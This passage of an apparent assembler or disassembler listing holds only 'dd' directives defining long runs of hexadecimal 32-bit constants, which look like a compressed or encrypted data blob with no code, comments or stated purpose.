		dd 3007E296h, 9912A331h, 0AFACAC19h, 0CCBF1403h, 0D6C0C811h
		dd 1200E489h, 45FB24F2h, 74A02E9h, 299655B4h, 400C27C4h
		dd 6E11EAD5h, 4A8D000h,	7FEB8C85h, 870A251Ch, 0C6070D70h
		dd 66BF4C55h, 33AE64E0h, 0E51E1645h, 0CF01AF5Bh, 1451121Dh
		dd 0D8D748F9h, 79E3F32h
		dd 831404Eh, 0E23D087h,	0B11F15F2h, 17470C3Ch, 24706D4Ch
		dd 2B2A30h, 93C94869h, 4265B468h, 0F00E6F6h, 1C95CF90h
		dd 0F46C262Bh, 0B97C01B5h, 22D61144h, 0C4FF4C7h, 321FE1FEh
		dd 0F243B7DCh, 0A8651ED7h, 1F5743C3h, 0E347E2h,	104F089Ch
		dd 0A60084C7h, 8D5F2C1Ch, 0F6E4432Eh, 7AE60352h, 7658235Dh
		dd 3B1120A0h, 3C9E2100h, 0A2BED243h, 0E9590F9Dh, 0D540811Ch
		dd 7F01FBFFh, 6B21900h,	2455C38Bh, 6BA5A08Eh, 170A3E20h
		dd 51190C80h, 164F0E04h, 0E014151Eh, 8E70D68Eh,	0B124E188h
		dd 0B0F84AE3h, 3D831629h, 0B900FE50h, 88FA112h,	0B41F0092h
		dd 0A345BEEEh, 0C3000D0Bh, 30C444FCh, 0DF27B6h,	0ACA43191h
		dd 0D215229Bh, 29D9DA01h, 0B092142Ch, 5EC8EEFDh, 61CC3F66h
		dd 12DF8887h, 0AF4F2052h, 97003F35h, 1E3B21Ch, 0EAD0FCh
		dd 32900865h, 2405A953h, 0F558413h, 0A0E4A00Eh,	475445D4h
		dd 20A5042Ah, 80FB3F05h, 0FA5FCAECh, 4E28D500h,	0A2C959Eh
		dd 0FFA90296h, 1A8B3179h, 7F4056E2h, 4407D955h,	44D070Ch
		dd 14BE80D0h, 9D17009Fh, 52214F4Ah, 6A0026CAh, 0DCB80A0Ch
		dd 0E210A4B9h, 6814003Dh, 87171B38h, 4498E34Eh,	55809760h
		dd 848EFh, 6945C524h, 4FAF2D21h, 41220503h, 0A8772967h
		dd 0F4406EFAh, 0B0550017h, 6423635Ch, 3B00180Dh, 0A3F204DFh
		dd 311A428h, 530FAC25h,	2CD00AD3h, 303EF122h, 340EF55Eh
		dd 14D795h, 2316F6EBh, 4FC50154h, 3EED635Fh, 0B26E302Ah
		dd 0E6BC6D5Bh, 74885808h, 79A50A30h, 211A085Ch,	0DD8359ACh
		dd 996860E4h, 0F016485h, 32688742h, 0C05F16C4h,	62C99256h
		dd 14250020h, 0E464415Eh, 81D10FFh, 0B00E5B18h,	617CE05Ah
		dd 1C204C22h, 40446474h, 0F4BE4034h, 4900BC6Ch,	9C4B411h
		dd 3808C0D8h, 0C2BD88A8h, 0FC105880h, 20CC22C6h, 0E1E34800h
		dd 0A824D812h, 0F0440046h, 0A1EF6F39h, 9036111h, 0C1413A34h
		dd 429CC004h, 246C0002h, 88A448D4h, 40F84370h, 46901002h
		dd 0C3206022h, 49D899DBh, 4E58D8h, 6A882844h, 1B041950h
		dd 7C215201h, 11536C09h, 758990D0h, 54A01D60h, 869FBEB7h
		dd 78BE705Ah, 3C03085Dh, 417C908Dh, 22C8F891h, 7DE00F98h
		dd 11A3D081h, 88B37F84h, 0CB81CF0h, 0E1B7EC00h,	0D7E480D8h
		dd 19591FC5h, 18C80042h, 1A40C408h, 217488A0h, 0C2448130h
		dd 1D100224h, 4F2E0C22h, 54002DD0h, 441C0432h, 9838CC24h
		dd 114A3430h, 86225C30h, 4087B43Fh, 0B0C6EC4Bh,	0CC694C3Ch
		dd 0D9BC090Ch, 4C88C28Ch, 9100EB8Eh, 759022C0h,	780081A8h
		dd 0B024E012h, 3AAA444h, 0B88D6808h, 0C86F59AEh, 0AFF4471Ah
		dd 80B3CCD2h, 0B65010BEh, 1E207122h, 0C1E1F340h, 29B2F580h
		dd 0C8457009h, 44005C75h, 7888C4F4h, 0C13881D5h, 0F8B852AEh
		dd 48A3FF64h, 54A8FC1Fh, 2C107842h, 660A4067h, 0F4DC0C2Ah
		dd 0BAB88462h, 4C580402h, 0C0343164h, 0E919C34h, 6B14106Ch
		dd 606AE467h, 0BC2279ECh, 0AB542001h, 89FC2444h, 3B0C4D60h
		dd 0B01E92B1h, 1428FC59h, 5B7C48DFh, 0B29C3607h, 0F0208081h
		dd 0C05844B3h, 91B70F2Ch, 0FE5860B6h, 0EC2819F4h, 741201A4h
		dd 180A882Fh, 328642D8h, 3031EE87h, 10813340h, 22785CC0h
		dd 0BDB04448h, 0F301AFD0h, 0B803691Fh, 9AF05127h, 0F91007F0h
		dd 0B0B48340h, 372E3418h, 0BA93971Ch, 0AC261F80h, 1C019538h
		dd 3098EFEAh, 131C3203h, 0EC08B00h, 415408Dh, 0C60100D4h
		dd 31181FD8h, 87A2160h,	32032407h, 520048E6h, 746E75h
		dd 20656D69h, 6FE272E4h, 83DAE707h, 0EAE06101h,	5863B30h
		dd 18455140h, 0EEEB17BFh, 0E13707C8h, 7E424101h, 57004BECh
		dd 0DEC0120h, 0A03B0A55h, 0E8C5804Eh, 989C0C5Ch, 89480709h
		dd 0D33E15C0h, 70D1322Ah, 0C81CC81Fh, 0EA1E0800h, 4B1D710Ah
		dd 1D50018h, 6E577CF8h,	80032270h, 0A8960DA2h, 8902E844h
		dd 7C110403h, 80369862h, 38CB800Fh, 4CA438h, 2505265Ch
		dd 2642A2Eh, 20631433h,	6440221Ch, 340E2C44h, 0DE123C89h
		dd 54484C00h, 98225C91h, 746C3F5Ch, 84BF7CBFh, 94BF8CBFh
		dd 0A4BF9CBFh, 0DFB4AC9Fh, 0DFC4DFBCh, 0D2D4DFCCh, 0ECBF47DCh
		dd 11FCF0F4h, 2016404h,	4814240Ch, 22D4911Ch, 3F8B982Ch
		dd 5C00893Ch, 8A603C0h,	23020447h, 0C8649105h, 70644065h
		dd 40671F50h, 0C0A8DD86h, 0B4236846h, 69030C88h, 0BC7264C4h
		dd 8C6AE938h, 7F6B28F4h, 23CFA11h, 99E0626Ch, 0A8809410h
		dd 38F0E208h, 2C669830h, 4126DACh, 0C2B43960h, 14B4C065h
		dd 4770EA0Dh, 0FE4A482Eh, 504E4D00h, 520151h, 58575453h
		dd 1064565Ah, 410C0402h, 424F4945h, 34F0FDA4h, 68676607h
		dd 6C026B6Ah, 71DF806Dh, 747372h, 7A78770Ah, 61022076h
		dd 6F696505h, 0AAC1C023h, 24F0D008h, 304403EBh,	78ED4088h
		dd 4D38EE98h, 0E1017D90h, 2091F26Ch, 3A60C308h,	69800041h
		dd 0E873C79Ah, 0E9000F3Bh, 0F3F0F201h, 507D1090h, 209BB03h
		dd 88644440h, 0DDA1A889h, 0E4F848E0h, 11187E10h, 58242228h
		dd 84890070h, 0B424A012h, 913DD048h, 7F07FFE8h,	1FFF8814h
		dd 8DC97C00h, 3FC100BDh, 9B0E382Fh, 6B007AA8h, 494B3E03h
		dd 70AF51B8h, 391A00B6h, 0B09315F4h, 1BE0926Ch,	5C78B401h
		dd 0F795553Bh, 0E46240C2h, 0D2220E04h, 0CE000D4Ah, 53F5DD09h
		dd 6038CD5Ch, 44FD1D8Eh, 14A0010h, 99042ADCh, 2F014DD0h
		dd 0BD490AC1h, 54EC28ABh, 8A0100A5h, 0B2B4F590h, 2409AC09h
		dd 20CC48C0h, 0FC44E856h, 0F6400110h, 1868A20h,	21733014h
		dd 59D3C80Eh, 1242E01Ch, 75A2450h, 637094DCh, 16487519h
		dd 0D52100AAh, 44BC7803h, 58A36648h, 0C200B2Fh,	3C22014Dh
		dd 0E2404E40h, 0B88D84Fh, 8081502Ch, 28223400h,	8C180451h
		dd 6346FF4Ch, 0F8100555h, 81396266h, 0FC025611h, 0F460065Ah
		dd 635B8C58h, 0BC211EACh, 5E123D58h, 411B0744h,	53E01061h
		dd 9CC96588h, 64E38774h, 3178209h, 407CFE04h, 0C0B0A09h
		dd 0F0E0D00h, 8A183310h, 63AB3F51h, 8C941102h, 1B40A964h
		dd 0E4EF4C48h, 8E02318Dh, 1191D881h, 0AF8143B0h, 608018A5h
		dd 73B40192h, 97540193h, 329B2190h, 307A313Ch, 305A01Bh
		dd 7166A3ECh, 33C01687h, 331A5E8h, 0A8F920A6h, 8D8C06Eh
		dd 27B811AAh, 0E9EE7EB0h, 0B990B000h, 2848F2D1h, 499054h
		dd 0B8CAE842h, 0B5406208h, 8001043Fh, 4C14E958h, 1D09B412h
		dd 441943h, 0A1A811D4h,	0C401C805h, 0DC62409Ch,	9DEF615Dh
		dd 642408C0h, 46040A06h, 6B9E741h, 0DC11E026h, 0F65058h
		dd 33707662h, 304716Ch,	61A42117h, 49F39467h, 0C65F09Ch
		dd 1190330Eh, 0F409802Ch, 0A58C39h, 63F1B0D9h, 0A831B476h
		dd 445BE0E4h, 79B4B0h, 6619BA8Ch, 6749C4B1h, 0BC017475h
		dd 523C4689h, 21F988FCh, 0E398FF50h, 619C0025h,	52142C18h
		dd 0F57879DFh, 39A42601h, 8110C66h, 7D4A230h, 335C8429h
		dd 49E0BF19h, 51484661h, 9940540Fh, 0E411C1C9h,	0FC20E9A5h
		dd 2C611FCCh, 0A16CC721h, 0F9B4E051h, 9CFAA028h, 0D9A7C1BFh
		dd 0F2DC8370h, 612C1829h, 2150FEBCh, 11D2AC00h,	6294B091h
		dd 9853FC12h, 334A14C3h, 41029DBCh, 322859D8h, 1CB98BE3h
		dd 0EC126053h, 4C0180F4h, 593331DFh, 1F6112A6h,	3818AC30h
		dd 0CF006C62h, 8C923C21h, 0C40034D8h, 0A3E3A011h, 0F02019F8h
		dd 0E086A330h, 6C8CE4h
		dd 81CCE809h, 0A1D45974h, 0AAC3481Eh, 0A454C405h, 0A9F25E87h
		dd 0D40D43E4h, 0F88A0h,	5B29FAD8h, 40D13D38h, 0EA884Ch
		dd 59AC1957h, 1D4999C4h, 7EFCC178h, 640A58BCh, 1ECF09BCh
		dd 604540B0h, 5C31B82Dh, 62EC1900h, 3CCEB42Ch, 0DCCC00B2h
		dd 6821CD4Ch, 9358D231h, 64D91CA5h, 4090C40h, 0B0D8D352h
		dd 276DFCFh, 4C6CC9A0h,	0CD706040h, 0D6615Ch, 0F40246C1h
		dd 0FCD0F0A5h, 62A40098h, 883520E3h, 11C3A51h, 12960FEh
		dd 0F2C072FDh, 0D338DC87h, 0D1188703h, 86A00853h, 20D6A8h
		dd 0C814C056h, 0F1D491EEh, 2D72E00h, 0BE443EE4h, 0D2471E04h
		dd 8D8C084h, 12B4F924h,	0F220FCFBh, 3423DC00h, 0DD40C3D3h
		dd 4A516056h, 0F14C915Ch, 2DEAA08h, 0A0C40798h,	23E2C08Fh
		dd 139EAA8h, 180983C5h,	0A8102CD4h, 0E488930h, 72246412h
		dd 8E9182A0h, 441F9C22h, 0D8DFC2ACh, 0F0DFE4DFh, 0E00FBE6h
		dd 222011D5h, 0CB445C32h, 126E8900h, 48902480h,	7FB7A24Ch
		dd 0CE3FC27Fh, 11E880DCh, 1602D604h, 48260024h,	223E9132h
		dd 60034450h, 127E896Eh, 529AF88Ch, 113C0936h, 8582C664h
		dd 3D61E24Ah, 0D7AF70FCh, 94200E1Dh, 52268C58h,	4B097FC8h
		dd 4488E091h, 0DDB0AAFCh, 0DA6BCCEAh, 0FE75617Eh, 19D80AF8h
		dd 3F91180Eh, 0C05E034Eh, 11862272h, 0A69644h, 0EC89E0C2h
		dd 0ED90211h, 9221203h,	3E304F5Fh, 56204EAFh, 7C486A24h
		dd 989F52DFh, 0BF3FAEE6h, 23F680DEh, 7164DA06h,	0F325C09h
		dd 2250910Bh, 846C8E80h, 120F9489h, 0E1BA24A8h,	0EAC4BFCAh
		dd 1807522Ch, 0E42C02DBh, 6482B042h, 44742200h,	0AA899884h
		dd 0FC04F12h, 0F2EBE0AEh, 22DC7C83h, 422A44A0h,	0ED50892Ah
		dd 8E487C12h, 3FB494C3h, 0E489D2DCh, 0CD800A15h, 74DD1138h
		dd 5310A400h, 6822084Ah, 97A0564h, 409C488Ah, 0D644C6EAh
		dd 0F21289E4h, 350E1011h, 48362324h, 5CDD003Eh,	89886E44h
		dd 8D031498h, 0D2084CD8h, 0FCEEE18Eh, 0DFC2EB47h, 34BE8181h
		dd 0AB473C91h, 895C4EF0h, 7612006Ah, 1548024h, 65006B07h
		dd 6C306E72h, 2E3233h, 0C2ED6475h, 74D04727h, 72004379h
		dd 0DC6ED9E3h, 0C36854h, 4964610Ch, 44160D95h, 30BF4600h
		dd 6972430Eh, 638F00BCh, 0DD536F61h, 6EEA1071h,	6D31992Ch
		dd 174A7600h, 2451BDCh,	18B0527Eh, 0ADD849B3h, 7A942400h
		dd 0FE56AC35h, 75F40172h, 0EC4622CDh, 500EF8C6h, 6F96411Dh
		dd 4C3A6303h, 0DA1CD0D5h, 1AF619h, 51742AA6h, 1079E4CAh
		dd 69570616h, 683EDA00h, 548361h, 6C754D6Fh, 7942B81Dh
		dd 0AE342800h, 212ED50Ch, 2D7E98h, 0A0747773h, 0E1416EDAh
		dd 630C4C00h, 0FD79703Eh, 0D23D0087h, 7406487Ah, 62396918h
		dd 450E7E72h, 60417824h, 9B1D32E9h, 23ED0089h, 0BA975312h
		dd 70039488h, 6F660AE2h, 5043E041h, 3E7B0072h, 52CE6471h
		dd 36003473h, 0FA6F4DC7h, 8E3F87h, 0F96E6148h, 144F410Ch
		dd 69461807h, 57C04E08h, 0B52166Dh, 544D565Ah, 94A0C480h
		dd 0DC1C7245h, 5380E4A6h, 938E6DD3h, 0A59A01A3h, 1B253552h
		dd 0E19F875h, 0BE642C07h, 0B040ED08h, 0C0426A4Dh, 7332419Ch
		dd 0C7002AFAh, 569DD33Eh, 572499h, 0B080A98Ah, 686E5519h
		dd 0E700A67Eh, 703C46B2h, 76DA9944h, 74A40033h,	1A261453h
		dd 94486F50h, 456200CBh, 9A664F5Ch, 40E3003Dh, 77828CFFh
		dd 0C00D3D4h, 18571F49h, 0ABF37Bh, 48B852F0h, 4C64A230h
		dd 10A60900h, 0D1532DA1h, 4E22057Ah, 0BC798Ah, 69546D96h
		dd 1E1FE97Eh, 7000C44Fh, 7A4B4322h, 0D9380E52h,	4920D494h
		dd 721475CCh, 67CA9B00h, 6279324Bh, 0FBE7A40h, 913AA664h
		dd 5EE35A0h, 673D6EEFh,	0FF4D000Ah, 8ABA619Eh, 786F0042h
		dd 9F11A648h, 0B6487D4Eh, 7B077909h, 69702976h,	13CA4AF0h
		dd 5C320167h, 4D914356h, 297D300Eh, 0A69A4F07h,	1320C06Eh
		dd 8921D4h, 7A8723DBh, 7561058Ah, 40297400h, 0DE470B5h
		dd 1EC3F0A0h, 81C4F0A9h, 6F162C66h, 4977D498h, 28645300h
		dd 5E4C7F9Ah, 0AC030090h, 0E965B0ADh, 220E104Dh, 5D1452E5h
		dd 1AEE6B80h, 3D279C06h, 0B5802DD5h, 548FE28Ah,	423AB09Ah
		dd 91CE071Bh, 5960470Eh, 15DA64h, 677A7CC5h, 401749C0h
		dd 9FE1B400h, 2412563Eh, 0DE620141h, 3C414AAh, 7693EC92h
		dd 0E2CF5300h, 86476D75h, 54F6006Ah, 509AE699h,	9C3A8A0Ah
		dd 666F0007h, 720BA6B0h, 0BE0400CDh, 0BB186137h, 53006706h
		dd 4F20C239h, 0EA6A62h,	2666E7A1h, 5CFA2AE0h, 0BD766B18h
		dd 0EE1F24E6h, 56CC3DB9h, 0BB0538Eh, 0EC403220h, 9800A948h
		dd 7982526Fh, 0EF266C5h, 7FAA5AC7h, 900850C7h, 0B00DBA7Eh
		dd 0E3CD6104h, 5B802671h, 24AD1C79h, 9C6B30h, 0EAD2B953h
		dd 370025FEh, 734906C6h, 98A15242h, 2A210350h, 47FCBE29h
		dd 2362DCC8h, 10D41F02h, 80E23DD6h, 1E9E4CC1h, 96AE00AAh
		dd 491F911Ch, 0CC008F93h, 0DEFA6D0Eh, 85BB9Ah, 18354161h
		dd 1D73BF0Dh, 28EE2500h, 3E8FF486h, 9A3A004Ah, 0C49542Eh
		dd 8E0F5070h, 0CC6AD768h, 51685Ch, 0FDB8286Eh, 0A7B43836h
		dd 4500D476h, 0A2897412h, 344F3E4h, 0D533F15Ch,	0E5B8CFF0h
		dd 0CC006B73h, 612B7004h, 0A51463h, 28190D29h, 0ADC03941h
		dd 56165E1Fh, 0F6502B43h, 3325E0A9h, 904B2C12h,	89920094h
		dd 4FB8578Fh, 1C65F700h, 1A3C0F35h, 56D51C44h, 4B18809Ch
		dd 0B762746Dh, 0D432400h, 84C4A4B4h, 4F11058Ah,	853D343Fh
		dd 875E80FFh, 4302D637h, 8274641Eh, 59E0D76Ch, 0F300A499h
		dd 28B7F49Ch, 71F0E95h,	6E527645h, 98A09F66h, 69F8D215h
		dd 4A2CCC0Fh, 0E06CEEF2h, 77A63DBBh, 71A01FAEh,	0E4B08041h
		dd 0C24990DDh, 29BB2D1Eh, 127B1AC7h, 8B6467E0h,	8856010Fh
		dd 4249440Ah, 1CF170AFh, 0BC257000h, 575340B4h,	1E670092h
		dd 6554776Fh, 121C8B8Ah, 73CBE17Ah, 1325804Ch, 49676Ch
		dd 9A23C155h, 69BB8225h, 0E9597007h, 52707124h,	7C666A26h
		dd 0D51E0027h, 2BAB3D94h, 27B15A7h, 0B001367Bh,	9B2AAEFCh
		dd 28ECAC5Eh, 62F2D8h, 46CDDBA2h, 586586B6h, 0A513637Dh
		dd 0F0409A7Dh, 94FC0893h, 55850096h, 0EC8DCA64h, 0D7009F45h
		dd 1267C54Ah, 389160Ch,	0A797BC15h, 0AEE1B0Ah, 1A093Eh
		dd 50D12683h, 148B032h,	0EA34EC93h, 707904C2h, 0B41846BCh
		dd 7C303CA5h, 0FB6A011Ch, 47056C26h, 0B3CE6075h, 0CFA5E800h
		dd 0DD773C4Eh, 1D570799h, 10E62A6Dh, 0A4651284h, 0A3B0FA7Bh
		dd 0BA0414Ch, 0B426C40h, 4D150070h, 1A47CB9h, 0AC259018h
		dd 3021DD14h, 8E7168B7h, 24CE8758h, 0F200E7E4h,	0D8E3ACEFh
		dd 76C10354h, 0D6B608A3h, 64DDC0CFh, 0E624E152h, 0AA007B60h
		dd 0BBC49218h, 68D9006Eh, 0DCA9DE75h, 0BA00FA9Ah, 6C328B15h
		dd 1C5EE160h, 2980AD01h, 0D5F701h, 48E01070h, 800016Eh
		dd 270C3007h, 38472Ch, 40873C67h, 48C744A7h, 3A4CE739h
		dd 3C543B50h, 3E6D3D60h, 3FAE3F80h, 3FBE3FB6h, 3FCE3FC6h
		dd 3FDE3FD6h, 3FEE3FE6h, 0E1FE00F6h, 0C90E3106h, 1ED10F16h
		dd 2E4026D9h, 3EF136E9h, 3A46F939h, 3C563B4Eh, 3E663D5Eh
		dd 3F763F6Eh, 3F863F7Eh, 3F963F8Eh, 3FA63F9Eh, 3FB63FAEh
		dd 3FC63FBEh, 3FD63FCEh, 3FE63FDEh, 0F63FEEh, 3206F8FEh
		dd 740E72h, 7842763Ah, 7C527A4Ah, 627E5A1Ch, 721D6A9Dh
		dd 9C1E7B9Eh, 0C1CA480h
		dd 0E871333h, 21D2345Bh, 0C9673520h, 0F007D17Ah, 7536D9DBh
		dd 0B587A987h, 63E0D070h, 0B21C0037h, 0B87EE38h, 27031639h
		dd 67294721h, 0A73DD133h, 395DC7DCh, 713A63E7h,	8E3C843Bh
		dd 0A23E943Dh, 0B03FA83Fh, 7EACC22Ah, 7EE97EDDh, 0E1FC00F1h
		dd 0C90F3A02h, 2F6FD115h, 0E9404088h, 3954F14Ah, 6B3A60F9h
		dd 823C7C3Bh, 943E8A3Dh, 7E9AAB2Ah, 0F8EF00D7h,	26723B0Eh
		dd 76002E74h, 7A84786Eh, 0F37CD3h, 233C1107h, 6327303Dh
		dd 67694700h, 0A78B8782h, 9FC73294h, 349AFABh, 8ACEE3C5h
		dd 0C9483E00h, 0D9EBD1CDh, 0F6F4F0h, 723F62E8h,	76787468h
		dd 0C6008173h, 0E57CCF7Ah, 3E120E0h, 1C2D8C1h, 0E0033003h
		dd 0D94AD117h, 0E98EF074h, 0C1F11EB8h, 0E87BF9F9h, 0DEE8ECDFh
		dd 1FF49FCCh, 240D83FAh, 3AE03432h, 0F03F42ECh,	0F872036Ch
		dd 939CFC84h, 0B0B0A3A8h, 1892C7h, 2410E649h, 50670E1Eh
		dd 0A756870Fh, 0E7ACE388h, 0A0DA93CAh, 0E8E6E0h, 4D333928h
		dd 5C3B563Ah, 3D6C3C00h, 3FC63E75h, 0E8DDE4CDh,	0F0EDECE7h
		dd 0FBF4F5h, 834010Eh, 0B98E124Eh, 0FE1CF00h, 350B43FFh
		dd 6D930013h, 7BB373A3h, 0D3019EC3h, 48D7E2B6h,	72C80936h
		dd 2B74001Dh, 637E707h,	27001A38h, 39124323h, 0A8D21F7h
		dd 19C8DA3Ah, 742900E7h, 785D763Fh, 8A7A7300h, 0D97E9F7Ch
		dd 3D7B001Ch, 7EE9DD2h,	36003E22h, 92476A27h, 87B067h
		dd 3F20A1F3h, 0D15BC929h, 99D96414h, 0EA3BCCh, 8006CC18h
		dd 0F0190Fh, 0F8B4F4A5h, 0A0FE92BDh, 3121CA00h,	97744772h
		dd 15DB0076h, 9457332Fh, 0C800EC7Ah, 0DCF4D1F0h, 73907F8h
		dd 673A1C34h, 8E3CF03Bh, 3E0EC43Dh, 4EDA3FD4h, 0CFE68EE0h
		dd 2AF200ECh, 729CFBh, 76237419h, 7A44783Bh, 0A37C4B07h
		dd 0C127A87Eh, 0D467CC47h, 0F1A7DF87h, 0FDE0F7C7h, 36161Ch
		dd 1D2E9D29h, 1E559233h, 6B9FDE07h, 8247701Fh, 91878C67h
		dd 468760AFh, 39235237h, 40053B83h, 0AB4CF82Ah,	0E8336C00h
		dd 0FE342687h, 47920027h, 362061ABh, 0D1FAC940h, 0E1DBA507h
		dd 0EE81DE39h, 0CC40A1D0h, 3D574BFh, 2E3C181Ch,	95B0AEA4h
		dd 1D01A09Dh, 7B79EB0h,	0EF403E09h, 61475Ah, 91877367h
		dd 0A6C79AA7h, 0E5ADE700h, 50CC2272h, 1343802h,	47301E80h
		dd 55D14EC9h, 3114D800h, 0EA04F4Dh, 7C323E49h, 3F809580h
		dd 4A341833h, 0E8A8E400h, 3970ECE3h, 3A880035h,	0A4B42A99h
		dd 7C0FDD7Ah, 60B71CE6h, 1DCA9DC3h, 0E39E03D4h,	0F79FED1Eh
		dd 1F3BA800h, 39472B27h, 87403A67h, 0C74DA78Bh,	0D35B1404h
		dd 75B36C6Eh, 87D37DC3h, 91F38BE3h, 9BE495F0h, 0B7569307h
		dd 0C627BCF3h, 0DA67CB47h, 0EE9FDE8Fh, 12F0FB01h, 22E41A3Ch
		dd 0EC2A1EE8h, 0F43A8032h, 0FC54F842h, 91748572h, 0CB78A776h
		dd 0FDFAD37Ah, 0E3DC001h, 2EE814E4h, 1FF02320h,	0D977F462h
		dd 0D18A3980h, 0E1ABD99Dh, 0D83D9FB5h, 0F79FEB9Fh, 3E390480h
		dd 141E3A16h, 0DC24263Bh, 4602B303h, 56934EF3h,	66B35EA3h
		dd 76D06EC3h, 86FC7EFBh, 96FC8EFCh, 0A79EF20Bh,	973EE4h
		dd 0A4D3EEE4h, 3F06F0FEh, 0E816BAC0h, 0F426EC1Eh, 36F4052Eh
		dd 3DF3FFF9h, 0F33BFA3Eh, 0F3A6F39Eh, 0F2B6F0AEh, 0CE692CBEh
		dd 83FBD895h, 387600Eh,	80E4198h, 4ED03006h, 0F920E16h
		dd 2E60263Ah, 3E8F364Fh, 2746C901h, 5EE75642h, 6ED166C9h
		dd 7EE076D9h, 0D38619E4h, 20F28BF0h, 61072E61h,	345F3153h
		dd 8C897E90h, 0E9477E9h, 0ACFCA4F6h, 0BC8EB44Eh, 0CC0FC4CFh
		dd 0DC8FD44Fh, 0ECCFE4CFh, 2D8F4CFh, 53FFB004h,	24E81CF2h
		dd 34FE2CF0h, 0BF2F903Eh, 484CBA44h, 3D5C3C14h,	136C3E64h
		dd 190E9274h, 0A08C4F84h, 0FD62494h, 0CFB41C20h, 1DC49DBCh
		dd 1ED49ECCh, 1FE49FDCh, 80F49FECh, 3304C5FCh, 14073CC3h
		dd 24B31CA3h, 34D32C70h, 72F3F6E3h, 0F24C0F44h,	640EC954h
		dd 0FC743E21h, 43C1CA7Ch, 6594D98Ch, 3C7B4F47h,	0C9A3519Ah
		dd 0DBF4D1ECh, 34041CF8h, 14930C00h, 0F24C84Fh,	259072Ch
		dd 274BF93Ch, 0D5644557h, 8800C09Eh, 0A4FC9CFDh, 6A203433h
		dd 0B86F30B0h, 0E89AC073h, 6ED8A4EEh, 10C3562h,	141D109Dh
		dd 0EC1E189Eh, 1F3A209Fh, 3C283B24h, 3E403D2Ch,	3683F60h
		dd 1F4CA66Ch, 0F578F374h, 93803A80h, 564F1484h,	0C980AC9Ch
		dd 0D05AA5C8h, 0F3D8C0FDh, 0E049DC72h, 1CF407FBh, 0A6303678h
		dd 241DD4h, 2C12289Eh, 0EE2E5B1Fh, 9F3938E8h, 764C373Ch
		dd 0C06F396Ah, 4F889684h, 0CF901C14h, 0E7AC9494h, 95E9D8CAh
		dd 0E82AEBE0h, 0EFF050EDh, 370400C3h, 0A32C9324h, 347AB330h
		dd 3CD33805h, 0ED4A40E3h, 3C3BEF48h, 3E955C5Ch,	3F883F84h
		dd 3F903F8Ch, 3F983F94h, 3FA03F9Ch, 29B43FA4h, 0E89F77D4h
		dd 0F09BEC9Fh, 0F3F8F3FAh, 3810B8FCh, 9DE52830h, 409E01EBh
		dd 489F441Eh, 50F69D1Fh, 58DF5485h, 0CF88BE4Fh,	0CF948F90h
		dd 8F9CCF98h, 0CFA4CFA0h, 0CFACCFA8h, 0CFC0CFB0h, 0CFE8CFE0h
		dd 0CFF0CFECh, 0D2F8CFF4h, 391C0700h, 1F089D04h, 0BF181Dh
		dd 447C407Ah, 4CE4487Eh, 54EC50E8h, 5CF458F0h, 70FC60F8h
		dd 98FC90FCh, 0A0029E94h, 0F509A44Ah, 0B4231C0Fh, 0C892B8F9h
		dd 10F0D7E9h, 0B0A028F8h, 43A3942h, 0C3B0800h, 243D103Ch
		dd 3F443E00h, 750254Ch,	0E45804A4h, 82A8A05Ch, 0E64A68E4h
		dd 0D4D5E663h, 496E8FEAh, 22C826A9h, 7000FBAEh,	0C27083Bh
		dd 65100B47h, 21078714h, 0E720E11Ch, 0D13CC924h, 0E564D85Ch
		dd 92936803h, 9274F370h, 0F2FB8178h, 36705080h,	0B4590794h
		dd 27C03F90h, 67C847C4h, 0ABD087CCh, 0E5D86887h, 745D80DCh
		dd 7DB8E13Ch, 0D920D10Eh, 0E928E024h, 330F12Ch,	0FF47ED21h
		dd 689348E7h, 74B370A3h, 7CD278C3h, 847EBC58h, 8C7E887Eh
		dd 0A47E907Eh, 0CC7EC47Eh, 0D47ED07Eh, 0DC7ED87Eh, 0E47EE07Eh
		dd 0EC14E87Eh, 1CAD04E1h, 2A472CC9h, 3880343Ch,	9A40F87Fh
		dd 9A484D98h, 0C4B26002h, 9260887Eh, 0FF98904Bh, 9CCB980Eh
		dd 0B084FCA4h, 0CDCCBC40h, 4DCF9AE8h, 0F828D1F0h, 0C1FD0BB7h
		dd 4C80603Eh, 3CEC34E8h, 0F440F002h, 4C569644h,	5C02E969h
		dd 0A492E440h, 0C4888307h, 0D024CCF3h, 47D8A092h, 59FA80A2h
		dd 8A3AB64Ch, 0CCA12E00h, 600C7044h, 2C49000Fh,	9D4A7A31h
		dd 3A0087F3h, 91278632h, 342241h, 3772C856h, 0F638F21Ch
		dd 1DFA9D00h, 390287FEh, 0A270006h, 12640E47h, 1A0730E0h
		dd 22FC1EF8h, 2A472627h, 32872E67h, 93C436A7h, 149A6980h
		dd 0C43B0053h, 5DBC222Ah, 3D007046h, 3E060EE0h,	4FF4E20h
		dd 0D93FB883h, 6024C092h, 90000880h, 8F310D81h,	2E647632h
		dd 63FE2Eh, 0DC1D7C94h,	35011707h, 44952726h, 89F4E0E3h
		dd 7692009Ah, 7AD178CDh, 0D91C7CD5h, 0E19DDD7Eh, 0E99EE51Dh
		dd 8D83ED12h, 50F9F2F5h, 3701018Fh, 8A099405h, 380CE076h
		dd 8B9D6700h, 0B39E9F1Dh, 0B2E4001Eh, 1C683BFCh, 722C3A32h
		dd 4813A446h, 7F7D9C03h, 763DC02Ch, 85780055h, 0C97C997Ah
		dd 4A00FF7Eh, 561C0E2Eh, 0CF6C8Eh, 3FB098Ah, 93A73D84h
		dd 0B1A2BF00h, 92EA2442h, 867FE1h, 8D3385DBh, 410F2EB0h
		dd 0D79D5E00h, 2887E91Dh, 242D0331h, 8D6EF03Bh,	0CB9E3E99h
		dd 0B717A1F8h, 0C90C4F1Ch, 2683DBC3h, 5093F833h, 13687BA2h
		dd 0BE9E7E6h, 14851042h, 0BA978112h, 9C01E4D0h,	2A1D201Ch
		dd 0FE00BCA6h, 0E3364E07h
		dd 4BF60027h, 9D1C650Fh, 5F001D53h, 0AF1E829Eh,	741FB49Fh
		dd 8FF300CEh, 9DDC3925h, 9EEE1D69h, 0CA1EAB0Ah,	3A1CDB92h
		dd 4B271A40h, 0E675A47h, 0D2868474h, 0FA50E080h, 30F57572h
		dd 900B99Fh, 0D441DFD8h, 0D02807h, 2F0E5C3Ah, 744E6F3Dh
		dd 0A6AF8E50h, 0C0726103h, 0AB3E75F0h, 50400783h, 0DF3F8FA9h
		dd 0B2C051EFh, 14AC84EEh, 2A6CB000h, 3A703039h,	0A93B0787h
		dd 0E007B725h, 0E7DDC7D6h, 8E1F009h, 2B148031h,	2A063Ch
		dd 0B84EBC6Fh, 0C2DBFC0Ah, 9D459C01h, 33180EE5h, 1D41B0EBh
